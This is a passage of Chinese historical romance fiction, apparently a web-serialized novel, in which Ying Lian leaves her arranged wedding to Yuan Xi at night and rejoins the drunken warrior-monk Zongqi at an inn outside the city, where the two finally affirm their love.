她想起来了。那是在太湖畔的义兴县，对面来攻的官兵统帅、报虚功洋洋回师的黄仲骕。 内有皇后嫉妒自己得宠、要施暗害，外有黄仲骕与元羲结仇，走了国舅的门路，盯着应怜与贼匪纠葛不清的软处，大肆攻讦。 她坦坦然道应怜不曾行差踏错，那是说给外人听的，好教她们都信。 只是……范碧云微有些疑惑，将一支嵌宝的金帘梳比在鬓边试看，镜中人明翠解语，也眸露困惑。 他们当真没有瓜葛么？ 她忆起扬州与他们一个屋檐下待的那几日。那时僧意的确坚似铁。只是百炼钢还能缠成绕指柔。如应怜那样一个惹眼的人，那僧人当真能不为所动？ 左右这是别人家的事，与她无关。范碧云喜喜地暗想，今夜被召了侍寝，她还得早做准备，妆扮得更讨皇帝喜欢；有皇后谗言在前，她总也得委屈几分，教那狗男人哄一阵子；否则百依百顺，他不稀罕，自己也不值当。 “今日便做个泪妆吧。”想定了，她望着菱花镜里，妃嫔娇蹙，自若喃喃。 五日后。 已是元羲的婚期前两日。他告假在家，专心备二日后的亲迎礼。 请帖早已广送朝臣各家的门首，元家家人得了元羲的嘱咐，再三传话：诸同僚凡与己交好者，务要亲临。 言下之意十分明显——若是不来，日后便是交恶，再不做朋友相处。 以元羲如今在朝中的圣宠独占，泰半朝臣，谁敢不来。 正处置琐事时，却又有中贵亲自上门，传来天子口谕，教即刻入宫，官家有事相商。 元羲忙整束朝服衣冠，又厚予了中贵好处，私下问：“都知可晓得，陛下召见，有何事理？” 中贵收了钱财，笑道：“这臣不知。但只见官家喜上眉梢，连道：‘是朕的股肱、是朕的股肱！朕实是错冤了他！’” 元羲便放下了心，跟随中贵一路车马，进了层层宫门。 郭禧只在宫后苑的莲池畔小亭中召见他，一见得人来了，连对方行礼也不及，搀起来便道：“前日里疑心你与贼匪纠葛，实是那些小人诬构，朕心中是丝毫不信的。” “官家肯付信任，是臣莫大之喜。”元羲心知肚明，笑道。 必是他两头核验了，未出一点纰漏，这才有此语。他信她，不曾看错人。元羲想着，心底轻快愈发显在眸中。 郭禧便以为他果真感厚恩，也愈发喜悦，一时间君臣相得，好一阵谈论他婚事，半晌才说到正事。 “刘升那厮，实是不如你忠心，竟有反叛之意，可恶至极！” 郭禧这话迟到了五日，全因五日前因疑心元羲，故此连带他的话也不信，如今解除了误会，自然对此事重视起来。 但他并不太过烦恼，只是轻飘飘地发下了处置叛臣家眷的谕令，口吻不比处置一根草芥更无谓；接着又道：“先前他折兵损将，朕只是心疼；如今看来，反倒是好事。二十万叛军现下只残剩一半，便有郑氏反叛相随，也不过二十万。朕的禁军尚有五十万众，且武将文才如过江鲫、盔明甲亮似浪中鳞；又有皇天紫气，祥瑞自罩，怎不能诛灭叛贼！” 元羲沉默片刻，罕见地不知该附和些什么，只得点头。 禁军哪还有五十万数，都是吃惯了空饷的，实数勉勉强强能凑够十万就已到头。有盔甲又如何，当初刘升挑走的那二十万兵已是精良，留在京畿 的那些，军纪松弛、操演不精，俱是些老弱、纨绔，以及检阅时拉来充数的闲汉。 不过郭禧正在兴头上，他没得去败他性子；所幸郭禧言意并不在此，而是抛出了个更骇人听闻的话头：“武将俱不可轻信。朕决意已定，调集禁军，御驾亲征！” 元羲道：“……官家便是为了此事，而私召臣议对？” “正是。”郭禧扬起嘴角，年轻的面容勃勃蓬发，“朕并不似先帝，只会书画经纶。墨池，你是知道的，朕自幼习学武艺，弓马刀矢不称无双，也足能夸百步斩敌于马下！朕比那些草包武将又如何？难道不够上阵杀敌，做个马上皇帝？” 元羲抿抿嘴，想说什么，又闭上，为了掩饰扭曲的神情，抬手又揖了一礼，将朝服宽袖遮住了头脸，半晌才直起身，斟酌道：“官家固然勇猛，可此举是否太过……” “朕便知朝臣迂腐，必要争论，才与你先知会一声。怎么，你也要驳朕？”郭禧盯着他。 元羲想了想，换了个问法：“官家既要亲征，可决定在哪一日？” 郭禧这才微露满意，“大军调拨不是儿戏，粮草征调、点将征马总也得月余。只是叛军日近，等不得那么长时日，朕当催促整备，尽量半月开拔。” “虽如此，朝臣之中必要掀起波澜，恐怕官家难行。”元羲顺水推舟，心眼雪亮，“臣有一计。不如便在二日后，臣家中的婚筵上，官家圣临，宣召此旨。那时节稳便，一来赴会的必都是与臣亲善的同僚，最是忠于官家；二来喜事当头，毕竟不好争吵，纵有人想驳，也得掂量莫要搅扰了人家婚事……” 他条条说得极在理，都中了郭禧的心坎。郭禧喜笑颜开，愈加斗志勃发，拍白玉石桌而道：“好！好！真是恰当时！如此说来，朕必得赏你这份光，去赴一赴亲迎盛会了！” 这一句的保证，又比上回“无事便去”更加笃定。元羲便不再纠缠于御驾亲征之事，权当清风过耳，喏喏应付了郭禧一番，便回去家中，继续准备他的婚事了。 二日之期，犹如眨眼。 应怜这一日自晨起，心中便怦怦直跳，早已心头捋过千万遍，却总是有一份不稳妥，非得事定了才休。 她也没睡多时，天蒙蒙亮，便被人催促叫起。家中除了女使奴仆，又多了不少车马，里头下来十数个高官的内眷，通是有诰命在身。年长的足够五六十、年轻的也有二十岁数，都穿戴了命妇衣冠，大妆大扮，喜气洋洋地来与她做娘家人；她们带来的仆妇女使也有头有脸，一家几个，便填塞得此间屋中快要搁置不下。脂粉香气充盈内外，直要冲到九霄上去。 这样的热闹中，应怜被安坐在妆镜前，由心灵手巧的梳头娘子一面唱吉祥词，一面从头梳到尾，一遍又一遍，直到将长发绾绾结结，一丝不苟地高盘起——未必有多么好看，戴上那亭台神仙环绕的镂金冠时，却意外的合宜。 然而头冠太重，仍然压得她脖颈酸疼。 妇人们又拿来成套的金玉牙翡，点点缀缀，摆弄在她头上；又有女使长捧着一面再清晰不过的铜镜，映在后脑勺上，以便她随时可瞧见后头凤尾似的繁丽花结。 镜中人望镜中人，层层叠叠，像要直望进无穷的心底里去，教她忽然想起一些事。 如今这样新嫁的场面，这顶压得头疼的冠，她也曾料想过的。 头一回是在十岁头上。那会子还是个梳双髻的丫头，应栖也不知如何，与她闹得不睦，便说出话来吓她：“你是不知，新嫁妇的头冠有多沉重！像咱们家这样的，若要嫁时，便要戴七八十斤的头冠！我见过一个妇人，她就戴着这样的冠，结果到了夫家，人家掀开轿帘，她的头就咕噜噜滚出来了，只因那冠压断了她的脖子……哼哼，再有几年你便要嫁了……” 她年少无知，当真以为自己也要被这么压断脖子，便摸着脖颈吓得大哭，嚷到母亲跟前，说再不要嫁人。 也是那时，才小小少年、远没有如今这般高颀的元羲头一回与应栖争执，脸面都争红了，捏着拳头几欲要打的架势，被小厮们拉开，还怒道：“兄长只不该吓她！你晓得她胆量本就小……” 末了是元羲做贼似的，悄悄偷出了自己母亲刘氏当初婚嫁的头冠，摆在她面前，依旧红着脸，说话腼腆得蚊子哼似的，“哪有兄长说得七八十斤，不过二三十斤沉，重是重些，何曾压断过脖子……你戴上瞧瞧？” 那冠灼灼生辉，她好奇地戴上，太过宽大，便压下来，遮住了自己的双眼，再瞧不见少时元羲已隐约有情意的眼眸。 后来一朝事起，她辗转到了吴地。青玉阁里，折柳也曾挖空了心思，百般地诱哄，说到嫁娶，很是煞有介事，“只是外头名声不那样庄重，实则都是一样的，牵巾坐床、合卺撒帐……般般皆有，那郎官也需将你做正头娘子视之，你一样嫁夫找主，吃穿度日，哪里过不得了？且如今无论怎样，你的名声也已坏了，不趁此青春，为自己挑个可心的，难道挨到年老落魄时，挨饿受穷，还得做那不要钱的娼。妇么？” 那时泯灭了她心中最后一丝嫁娶之念，真正领悟了与元羲之间的云泥之别。她晓得自己像只没头的苍蝇，在污秽的溷厕里团团乱转，寻不到出路是绝望、寻到了出路也还是绝望。 只是未想，那光照进来时，是以她 从不曾预料的方式。 宗契拉着她，一步步将她拽出泥淖，洗净她脸上污浊，拍落她身上尘土，教她如今想来，都还欢喜得颤抖。 从此心中又萌生了一念：若是有朝一日，真与他能结良缘，二三十斤的头冠与否、鞠衣与否、诰命与否，她都不在乎了。那不是她要的。 她要的，从来都只有宗契一人而已。 命妇们团簇着她，妆扮得比平日又艳丽，夸赞欢笑不尽；又曳开深青鞠衣、团花帔子、缂丝却扇，这样那样的叮嘱后，这才搀着她步上从门廊直铺到中门外的红毡，仿佛她是十分易碎的琉璃彩瓷，从一双手送到另一双手，一直送上了迎花担子。 绸帘放下，应怜听见了轿夫吆喝索要利市、鼓乐锣鸣喧嚣喜庆，众多呼喊的、讨彩的、唱喜词的人声中，间或夹杂了一二道熟悉的清朗声线，那是来迎新妇的元羲。 果然却扇掩面，她只一闪而逝瞥见他绯红的朝服，似乎幞头旁缀了一枝花朵，却未细看那是什么。 一会儿，讨得了利市钱的轿夫长喝一声，起轿开道。应怜将却扇搁在膝头，默默地坐于轿内，与轿外马上的郎君，去向彼此都心知肚明的地方。 迟来的亲迎礼像是报复一般，比所料场面豪奢更甚。元府车马盈门，顶着晌午热辣的日头，各个大小官员穿着严严整整的官袍，位重的先入堂得了席位；卑微的排着次序，等在门庭之中，只为亲自道一声喜，捂得热汗直下，却仍喜逐颜开。 这一切都与应怜无关。她被不知是谁扶下了轿，只端然持那一柄却扇，凤头丝履踩过门口的谷豆，跨马鞍、坐虚帐；热热闹闹中，却扇被人拿走，顶头又盖上了一方罗帛的盖头，生花翠草、鸳鸯和鸣，晃眼的金红锦绣。 应怜便如头一回偷戴刘氏的喜冠，被辉彩遮住了眼，除了人裙袍鞋履，其余什么也瞧不见；直待一杆喜秤挑开盖头，头一个入眼的，不是元羲、不是傧相，也不是欢笑的宾客，却是一脸勉强挤出笑意的刘氏。 刘氏那笑，涂了口脂的嘴唇上扬，擦了妆粉的脸面抖动。深凹的眸子里，却有类似厌恶仇恨的东西。 应怜漠然视之，心中平静地想：是了，她恨我。她怪我，怪我夺走了她的儿子。 她依旧不在意，甚至对这位曾参与构陷她父亲与兄长的妇人，以高堂之礼，拜了一拜。 她不是非得恨一个人。恨是掩了双目的力量，凭借着恨，人将一往无前而盲目偏执。 填筑于她心中的，是宗契给予她的过往，是另一股坚定而温柔的力量。她借此在长夜中望见了前路。 却扇重又回到应怜手中。她被搀扶着，一步一步，小心翼翼地步向新房，坐于撒满了金银彩果的床帐中，已是喧嚣沸腾，忽又闻得外头一阵动山震海的呼声。 那是山呼万岁的声音。 皇帝亲临了。她默默地盘算，抬眼仔细瞧，依稀于荧煌的灯烛光耀之中，窥得窗外天色已黯淡深沉，约摸入了戌时。 命妇们俱已离开，只有女使仆妇守在此。应怜命人打听堂前的事，仆妇欢喜激动地回来报道：“是官家亲临，夫人果真天大的恩宠！” 她笑着点头，将撒帐的金银果子抓了一把，各人赏赐些；又遣散了众人，教她们各自外头吃酒，只留自幼侍奉的雁回，一道守候。 逐渐夜深，沉香龙脑之息渐浓。时间随着庭院中的更漏，一点一滴地过。入戌时、出戌时，又入了亥时。寂寂人定初，本该郎君回房，可前头不知何故，另有一种吵嚷之声，不大和谐地钻入她耳中。 约定的时刻将至。应怜毫无睡意，拍了拍等候在一旁、不住瞌睡点头的雁回，道：“你自去睡，后半夜再来侍奉罢。” 雁回腾地转回精神，红着脸臊搭搭地答话：“哎，娘子……噢不，夫人，奴还是守着夫人。” “日子长得很，有你守的。”应怜不理睬她心中盘算，只是催促，“快去睡。” 雁回这才一步三回头地慢腾腾走了。 外头已是夜露升腾，月愈发地明朗。应怜默默于床帐里坐了一会，又起身，缓缓踱行，来来往往，听着那一声声愈加变味的吵闹争执，时时转过屏风，那后面掩着一扇不起眼的小门。 新房是元羲特地选定的，为的是前后有门，且后门挨着整座宅院的后角门不远。那一路寥寥挂着几盏风灯，混人眼目地出入皆方便。 应怜的心尤其砰砰地跳起来，时而微开后门观望，但见偶有仆妇匆匆经过，谁也不会着意望来一眼，只是一径转入前头穿堂了。 她逐渐心焦起来，枯等时辰，坐立不定。 终于，不知到了哪一刻，有微不可查的几声急促叩门，暗响在外。应怜早已准备齐当，抄起一旁的瓦灰大氅，扔了披在肩的长帔，一股脑捉着鞠衣大袖，两膊塞了进去；本待要摘了喜冠，无奈那梳头娘子好手艺，发丝缠结，牢不可分。她扯得头皮发疼，也没扯下来。 外头叩门声又响了几下，依稀是有些发急了。应怜再也顾不上别的，一顶帷帽盖头，长长的纱帘几乎遮住半身，任那二三十斤的冠硌在帷帽与脑袋之间，不得服帖。她小心翼翼地扶着帽缘，无声无息，开了后门。 门外猴儿似的立着久未见面的元平，缩在一方阴影里，愈加黑瘦，两只眸子却神采奕奕，绽放出尤其精明的光来，甫一见她，咧嘴想笑又想哭，抹了一把脸，“小子便不行礼了。大事已定，娘子，我带您去寻高僧！” 应怜咬着唇点头，一言不发，听着心跳之声喧腾，盖过了遥遥飘过红墙的臣僚的吵闹，阖了门，跟定元平，再不迟疑，坚定而去，融入逐渐悄寂无声的黑夜。 第133章 第133章把此良宵，等闲抛掷…… 那是一家不大的客店，一圈马也跑不开的泥粉墙，围定了前后院，院外的木板门前，挂着一盏风里乱晃的灯笼，右面斜挑着一帘旗，也被夜风扫荡得扑剌剌乱卷，勉勉强强露出上书的几个字：孙员外店。 客店落在城外，也不知是荒僻或是年景不好，并瞧不见个住店的人。院子门大喇喇地敞着，一望进去，空空落落，唯一匹高大的枣红马四面游荡，鞍韂也没卸，紧着啃那马槽石座下挤出头的零星青草。 应怜的心鼓噪起来，便要往院门里跨，却被元平一把拉住。 元平道：“娘子，高僧就在里头，小子不远送了，咱们就此告别吧。” “你要回去？”想起出城时，那样兵甲森森的异常之景，她心中有些不安稳，“此夜动荡，你不如待在这里，明日再走。” 元平摇了摇头，一向伶俐的眼眸里罕见地出现了执着的意味，“官人叮嘱，将您送到便回。小子还得去复命。” 他却也早清楚这一场婚事的内情。因此当旁的人一口一个“夫人”地奉承，独独元平却打一照面，便依旧唤她作“娘子”。 应怜终究有些愧疚，叹了一声，“那你去吧，护得你家官人周全。再烦你转告他一声，我承他这份情，望他今后平安喜乐。” 元平巴巴地望着她，又有些孤落落的，教人为之不忍。 “我晓得您要走。”他道，“只是……往后娘子还回来么？这儿毕竟是您的家。” 应怜百感交集，一时也不知该怎样答，但只点头，“会的。” 得了这一句诺，元平便笑了起来，眸中有晶亮摇动的光彩，吸了吸鼻子，脆挺挺地应了一声，挥挥手，“我瞧着娘子进去了便走。” 他果真定定地瞧着她，直目送进了客店的大前门，寻着了那一熟悉的高大身影，才默默地离去了。 应怜步入了昏黄的客店前堂。 四面排着些桌椅，柜台在角落，青布帘儿遮了旁屋的门，再走几步便是后院。地界不大，桌案也简单，因此应怜一眼便瞧见了那个大马金刀坐得笔直 、正在喝酒的僧人。 他背对着她，穿着普通的灰布短衫，领口皱巴巴地揉了些污渍，同袖口衣摆一般，那污痕红中泛褐，却是溅上去的。他身旁委弃着一摞甲，鱼鳞似的密密叠叠，护心镜间杂在甲胄之间，耀映着半明不暗的灯烛摇颤。 木桌是使了多年擦擦洗洗的，本是油泥点点，如今上头搁了一把带血的锃亮钢刀，一旁还倚了一根长棍，浑朴的精铁制成，同样沾染了厚厚的血渍，顺着棍身往下淌。刺鼻腥甜的血腥气，便混杂在扑鼻而来的酒香之中，惹得应怜直皱眉。 她近前几步，踢开滚在脚边的几只酒坛，踮着脚，以免又教碎片硌着，才转到了他跟前，欣喜是欣喜，却不得不夺走他将要入口的一碗酒，掩着鼻子问：“你究竟喝了多少？” 宗契浓而深的眉峰微颤了一下，仿佛对她的话有所反应，然而目光只是漠然，又涣散，一时在她身上游移，一时望向空落落的某处，而后笑了起来。 “是喜酒。”他醉醺醺地开口，勉强聚焦望着她，努力辨认心心念念的那个人，“……喜酒，拿来。” 罢了不由分说，却来摘她手里的碗。应怜自不肯给，才要泼了酒，他却使了个小擒拿手，也不知如何，花活儿一绕，应怜眼前一花，已被叼住了腕子，吃痛之下手一松。 他接住碗时滴酒未漏，鲸吞牛饮时却顾不得沾湿了脖颈衣襟，一只手却还攥着她。 应怜既恼火又好笑，任他攥着不松手。他又去摸那酒坛，半晌已是空了，于是丢在一边，不甚满意地唤道：“店家！店家——” 未想闹得这般阵仗，竟当真还有个店家哆哆嗦嗦打柜台里头探出脑袋，白着脸来送酒，见她又跟见鬼了似的，转身就要跑。 “站住！”应怜扒拉开宗契铁一样的手掌，问店家，“你是孙员外？这店做营生是不做？” 孙员外哭丧脸道：“这煞星爷爷拎着把杀、杀人刀来，便是客人也都吓跑了，做甚营生！” 宗契接了那一新坛的泥封，仍要喝。应怜心疼不过，叹了口气，捉住他的手，“别喝了。” 他又茫然地望过来，定定要将她看进心底里。 应怜想了想，上下寻不到钱财，索性问店家，“有镜子么？” “有、有！”孙员外一骨碌跑了。 一会儿回来，手里头捧着一面粗铜镜，不那么清晰，却也照出了人面花红。 应怜就着铜镜，一点一点地摘那冠，将缠络的长发尽数松懈下来，好半天才取下，揉了揉发紧的头皮，拢了散发，在孙员外惊异莫名的目光中，递过了那金枝宝叶的头冠。 “左右无客，这店我买下来了。”她指指那冠，见孙员外发傻，以为不够，便又摘下了两只镶了红翡的金荔枝耳坠。 孙员外嘴张得合不拢，躬身弯腰，话也说不利索了，“够了、尽够了！”买他十家客店也够了！ 应怜便又吩咐，“收拾一间干净的厢房，再多备些热水、醒酒的茶汤。” 都备齐了，她一人扶不住宗契，索性同着孙员外，一左一右架着，歪歪晃晃送去了厢房。 孙员外捧着那冠，生怕化了，跟财神爷回话：“那老儿家我、我、我便去了？” “钥匙拿来！”应怜百忙之中伸出手。 孙员外一把塞过前后院的钥匙，溜也似的逃之夭夭，临走前还牢牢地替她阖上了门。 灯烛尽有，只是再多也仿佛不明朗，就这么明明暗暗地燃着，照映在相对的两人脸上、身上。 应怜褪了大氅、鞠衣，松了口气，摸摸额头后颈的汗，又捂了捂安静坐于床边的宗契的额头。 他脸面发红，两只眼眶也是红的，唯有眸中瞳子乌黑，盛着她忙忙碌碌的身影。一会儿，应怜笨拙地替他解了衣衫，捏着鼻子将那堆汗涔涔、血糊糊又酒气醺人的布料扔到了一边，拧了热手巾，从头脸开始，一点点替他擦拭。 她瞧见他前胸后背十数道半新不旧的伤疤，细的是剑、阔的是刀，深的是矛尖，皮肉翻出的是枪与钺。一道一道，纵横交错，皆是离别在江宁时所伤。 今夜新添了一道新的伤口，不深，却在脸上，先前被污渍与阴影所遮盖，这会子毕现无疑，自颧骨向下，划了不长不短的一道，往后不知是否要留疤。 但他眉骨鼻梁、脸面轮廓依旧深刻俊挺，此时不动不语地盯着她，精赤着上身，教她脸面逐渐热了起来。 “不成想你喝醉了是这般。”应怜为她擦拭手臂手掌，将手牵紧他粗大的五只手指里，感受掌心的灼热，“平日里都夸海量，如今怎么也醉了？” 她才要抽出手来，那只手掌却收拢一翻，将她扣在了内，连带着人也往怀中一扯。应怜受了一惊，抵不住身，扑在他身上，下巴却磕在了他肩头。 那肩也不知是用铜还是铁烙出来的，硬梆梆硌得她舌根发麻，捂着下巴抬头，却正撞见了他俯首注视来的滚烫目光。 “惜奴。”他含混不清念了一句，而后略带干燥的唇却更加滚烫地落了下来。 一刻后。 应怜从他怀里手脚发软地挣出来，先灌了一盅姜汤，凶狠拍掉了宗契又要来拉扯的手，并塞去了一只海碗，“喝光！醒酒！” 宗契本能地觉得口干舌燥，乖顺地依从，一仰头，果真喝得一滴不剩。 应怜嘴唇里外被无章法地啃过一回，臊红着一张脸，认命地换过一盆净水，温温热热地继续往下擦。 沿着虬结的肌肉纹理，隔着皱巴巴、污糟糟长裤单薄的布料，挨着个物事。应怜手背一烫，下意识缩了回去。 她面红耳赤，跪坐在床边，皱眉瞪眼与他对峙。宗契乌沉沉的眼紧盯着她，醉后毫不遮掩，直白而热烈地昭示对她的渴求。 接着，他开始低头宽解腰带。 “呀！”应怜一捂眼，心慌意乱又有些窃喜，“你做什么！” 宗契却不说话，也皱着眉，难耐的模样令人心痒。他顺理成章地起身，一面解裤带，一面寻摸到门口，在黑暗的角落里一站。 哗啦啦的流水声传来。 …… 应怜摘了双手，头顶冒烟，咬牙切齿，“……秃厮！” 依旧只得坐立不安地枯坐床榻上等着。烛火熄了一盏，半明的残烛里，她直勾勾仰头盯着床帐，那是一片青莲素色，什么花样也没有，但应怜似乎就是瞧见了上头两只交颈的鸳鸯与一双并蒂的莲花。 等待的片刻，她索性解了发髻，烛火下披散开如瀑如藻的长发，从肩头一直垂落，打着旋儿盘绕在膝头。 宗契回屋时，瞧见的便是这样一副灯下美人的旖旎之景。 他浑浑噩噩，不知为何心跳过速。这时美人扔来一条热手巾，结结巴巴，又有几分颐指气使，“自己、自己擦！” 她指着下头。 他困惑却顺从，依言低头，果真一处处擦净了，见她红着脸噗嗤笑的模样，只觉说不出的动人，便捞起一绺长发，继而捏了捏她后脖颈，一片腻脂般的温热。 应怜心跳轻一声、重一声，毫无规律，但觉那酒意朦胧，似乎也醉了自己，跪坐挨着他，渐渐离近了，咬着唇，緩緩剝落自己衣衫。 灯花爆了爆，一瞬颤晃的烛火之中，两个影儿合二为一，一个嵌进了另一个，再也难分。 应怜的亲吻逐渐发烫，醺醉的不真实感也逐渐扩大。身体中仿佛剥离出另一个自己，这个自己清醒，平静而喜悦地注视着另一个自己的沉沦。 她一点点亲吻陈旧的伤疤，唇下感受粗糙愈合的微凸，听他血液急促地涌过脉络，听他一声比一声明显急促地心跳。 宗契的手紧锢在她腰后，无论她做什么，都绝不放松，生怕一个不慎，便又将她丢了。 他愈发含糊低沉的声音自喉间弥散。 “惜奴。” “惜奴。” “惜奴。” …… 应怜眼眶发烫，浑身也发烫。他唤一声，她便应一声，又依偎上他胸膛，将湿热的泪意全抹在他心口上。 而后，她忍着羞意，想按那些个命妇们私下里递与的册子行事，便从他胸 膛上撑起身来，推推他。 宗契不动。 应怜臊得脸抬不起来，又推推他，半晌不见动静，才疑惑地抬头。 宗契四仰八叉，一只胳膊还牢牢箍住她腰身，只是阖着眼眸，睡死过了。 烛芯燃得十分长，又无人来剪，爆了几爆，摇晃的烛火勾勒得那静止的颀秀身影也微颤起来。 他在阒静的新房里、撒了零落满床的金银彩果的合欢帐中躺了一会。外头朝臣们闹了半宿，后半夜尘埃已定时，才各个惊疑不定地被送归家去，此时寂夜无人，已静得很了。 满目是喜庆的张灯结彩，那朱红翠绿刺眼，他索性阖上了眼眸。 不期然便冲了个盹儿，做了一个经年期冀的荒诞的梦。 梦里没有变故，他与她像旁人期望的那样，稳稳当当地结成了连理。少年的夫妻，操持相伴，也有争执、也有口角，也有鸡零狗碎惹人心烦的琐事；生儿育女，儿女又各自成家立业。他们便白了头，同穴而眠。 就这么依偎着长眠。 “官人，鸡唱了。”说话声伴着叩门声，并不很大地响起。 元羲睁开眼，梦还真实着，心跳声尤其清晰。 醒来的一瞬，他便从幻梦里抽离，并不意外，整了整稍有些皱乱的朝服，去开了门。 门外立着一宿未阖眼的元平，眼红红的，似乎来的路上哭过。 “何时回的？”元羲揉了揉额，望着外头隐约泛白的天色。 “一个时辰前。”元平回答，声音还带着哽咽后的沙哑，“您吩咐鸡唱便去朝中点卯，何必这样辛苦……” 他摆摆手，示意无需多言，“今日不同以往，大事初定，我得去。” 又道：“你哭什么，谁给你罪受了？” 元平垂下头，斗败了的公鸡似的，盯着脚下一方新人曾走过的毡毯，不见喜庆，唯觉心酸，又摇摇头。 元羲便不理会他，向外而去。 车马早已齐备，元平亦步亦趋，跟随主人家踩过满地狼藉的廊院、穿堂、花厅，登上车马。 浓云淡雾，破开黎明墨色满盘，挣出一小片虽不光彩、却究竟明朗的天空；再不多时，熙辉便会自那处先破，终会有新的一天昭昭而始。 他将那梦掩藏在心底，随着徐行的车马，渐渐如阴霾被遗忘。 第134章 第134章人双影对今方好，从今…… 晨钟暮鼓，宗契一日日山中擦拭殿上的弥勒佛，扫塔林下的碎石与枯枝，练武、奉香，磨砺尽了尘世的气血与心性。 他从未下山，也从未遇着过什么人。恍惚中这又是一世，一世清静一世佛。 但他越是念佛，心中便越是空寥，那无着无落的死寂泥潭一般扩散，逼得他血肉里生出翻腾的焦灼，仿佛在叫嚣，总少了点什么。 他少了谁。 佛光寺的钟鼓里，他再也寻不到完满。那缺口从他心底深处，撕裂出一道巨口，沉沉的无底深渊幽暗地将他吞噬。 宗契猛地睁眼。 那股焦躁失落，伴生随之而来的难忍的暴戾，从魂梦延伸至昏暗的现实。他脑中钝钝地疼，不知怎样得以缓解；动一动，手臂却微沉。 他偏头，不期然便极近处瞧见了应怜沉睡的脸，瞬间一阵微妙的、令人震颤的心悸。 她云鬓半松，拂在白皙饱满的额边，拂过挺翘精巧的鼻尖，划在睡得嫣红如樱的唇上。她无意识地抿了抿嘴，又埋着半张霞锦似的粉面，向他臂弯里蹭了蹭，继续酣睡。 心中的空洞与焦躁一刹便被填满，失而复得的情感激荡胸臆，令宗契一时竟眼眶发酸。 是了。他魂梦中残缺的那一块，总也找寻不得的那一人，正是她。 狂喜的激动攫住宗契，他半梦半醒，不知该怎样喜悦，长臂一卷，将她紧紧收在了胸前，虔诚而感激地亲吻她的鬓发、额角。 怀中人被闷得不大舒服，挣扎喘了一声，带着浓睡未醒的慵懒，动一动细脂香凝的身子，在他肩膊、腰腹间交错。 宗契渐渐清醒，继而愣住，继而僵硬。 昨日种种，迟钝却凶猛地涌回脑海，他望着眼前一切不胜餍足的绮靡景象，心火乱窜，却呆怔怔回不过神。 直到应怜也醒来，懵懵懂懂嘟哝了一句：“天没亮呢……” 她还要睡，宗契却喘着粗气，如遭雷殛似的腾地坐起身，在她绵软无力的拥缠下面红耳赤，又转青转白，最后几乎咬着牙问：“惜奴、惜奴！你……我……我……” 应怜被他一闹，枕了个空，再睁开眼，好整以暇地望着这个窘迫尴尬的秃厮。 “什么你啊我的，如今我是你的，你也是我的了。”她掩了掩唇，遮住止不住上扬的嘴角，笑意却在眼眸中显现无疑。 在她的注视下，宗契连话都说不利索，“昨夜你、你分明……大婚，同、元……” 一颗心又沉到了底。他捂着额，里头突突地拉扯，挖空了回忆，只是记得出城喝酒，其后的事竟分毫也记不清。 难道……醉后失态，大闹了人家喜事，将她掳了来？ 宗契喉梗了几梗，说不出一个字来。 若是这般，那惜奴的名声便教他败得一毫也不剩。他万死也难弥补其罪。 那双微微笑着的极清亮的眸子，见他颓唐后悔，渐渐便不笑了，蒙上一层淡淡的水雾，乌瞳银丸在氤氲的水间，轻轻开口，“不是你强迫了我，是我自个儿追来的。怎么，你不要我？” 宗契最见不得她伤心，猛地便道：“我怎会不要你！只是……” 他脑子乱得如麻，也不知想着什么，一股脑便倒了出来，“我不通文墨，不懂风雅，又没个爹娘亲族，夯疏惯了，还是个和尚……” “你那会子也是一样，怎么就爽直，与我订了终身？”应怜也坐起身，长发瀑散，半遮朦胧挺翘身段，眸中水色欲落未落，像是诉情，又像诉怨。 宗契望了一眼，便不敢再望，沸腾的杂念难消，只道：“那时不一样，那时我……如今有元官人，无论亲事如何，他对你总是真。那样一人，玉一般……才配你。” 应怜皱着眉，见他在黯淡天光中起伏的胸膛，以及眉宇间难解的郁气，心疼他自薄如此，又怜爱他自薄如此，索性靠过来，手臂绕过他胸腹，搂住了他蓦然僵硬的身子。 她将脸贴在他背上，听着那一声更比一声剧烈的心跳，问他，“你还记得，当初你送我来洛京，咱们钓上的那条鱼么？” 宗契发干的嗓音震动胸腔，“记得。” “你那时说，鱼儿自在惯了，我若要它，便得想法子去钓。”应怜道，“我那时便想，你说得对。好东西，得自己争取。你在我心中，件件都好，我不该只等你回心转意。因此，这一回，是我来寻你。” 她察觉他身子一震，喘息声也顿了顿，仿佛怕出一口大气，便惊走了她似的。 她想瞧他的脸，于是转过来。果然他脸绷得铁紧，耳根子仍是红的，眉峰疏朗，眉骨英挺，略微丰厚的唇紧闭，眼底却有异样的光彩闪动。 应怜心中那怜爱之意便愈益如水落石出，目光描摹他微红的眼眶，发怔的眉眼，甚至那道颧下的细疤，开口时是自己也不曾想到的温柔，“至于元羲，他是很好，可风华卓绝又如何？” “你尊师敬友，重一诺而轻千金；不媚上，不欺下，勇可冠三军，坚可定磐石。你知恩、怜恤，曾为我赴千里，散尽财帛护我得生。外人只道你是破戒僧，是反叛，是贼寇；可在我心中，你是神佛，是罗汉。”她一字一句，水汽横陈的眼眸里已满是他怔愣的倒影，“我心中，从没有什么玉面郎君，唯有这一尊顶天立地的罗汉尊相而已。” 天光渐亮，窗外树影、鸟鸣却已入不得宗契的眼、耳。他唯长久的发愣，目中她色相光艳动人，本相清慧怡和，世间再难有第二人令他心旌如此颤动。她语声清灵，字字如风动竹、如竹扣窗，泠泠地教人感受无尽平静喜悦。 宗契便在这样颤动与喜悦的心境中，迷失飘荡，许久后喘出了一口气，心绪一松，却久违地察觉眼眶发烫，天光依稀模糊，非但此前阴郁一荡而空，更多了一股激荡在胸的莫名情愫。 他苦苦压抑，唯怕她笑话自己软弱，顾不得失态，打一个挺跃下了床，胡乱扯了件衣衫，在她吃惊的目光中，既狂喜又窘迫地寻了个由头，“……我去问店家要些早食！” 说着竟落荒而逃。 应怜伸出的手停在半空，一句还未出口，却只及见他一道闷扎出房门的背影，张了张嘴，话在屋中消散： “店家就是我呀……” 宗契一口气东逛西窜，也没个人拦，直奔进了厨房。 灶间有个旧木桩子做凳，他着了魔似的，躲进犄角旮旯里，叉着腿抱头坐着，心里一面问自己：我是做什么？ 哦，是了，店家也不知哪家串门去了。他自煮些米面，免得应怜饿着。 又问自己：那方才说的是谁？她一句一句，那样好的一个人，总不成是他自己？ 兴许是。他那样欢喜。 又不是。不是吧，她说错了，或认错了？ 便丢了魂儿似的，脸孔发烫，耳根子发烫，眼眶也发烫。脖颈发烫，胸膛 发烫，每根手指都发烫，动动指节，一根根末梢窜上一股似悸动、似酥麻的难耐感。 他不由得笑了起来。 甫一笑便收不住，那喜悦成倍成百地弥散，和乱窜的心火搅和在一起，又一遍遍同她柔软爱怜的声音绞缠着回荡。 角落里灰暗，宗契的心却亮了起来。 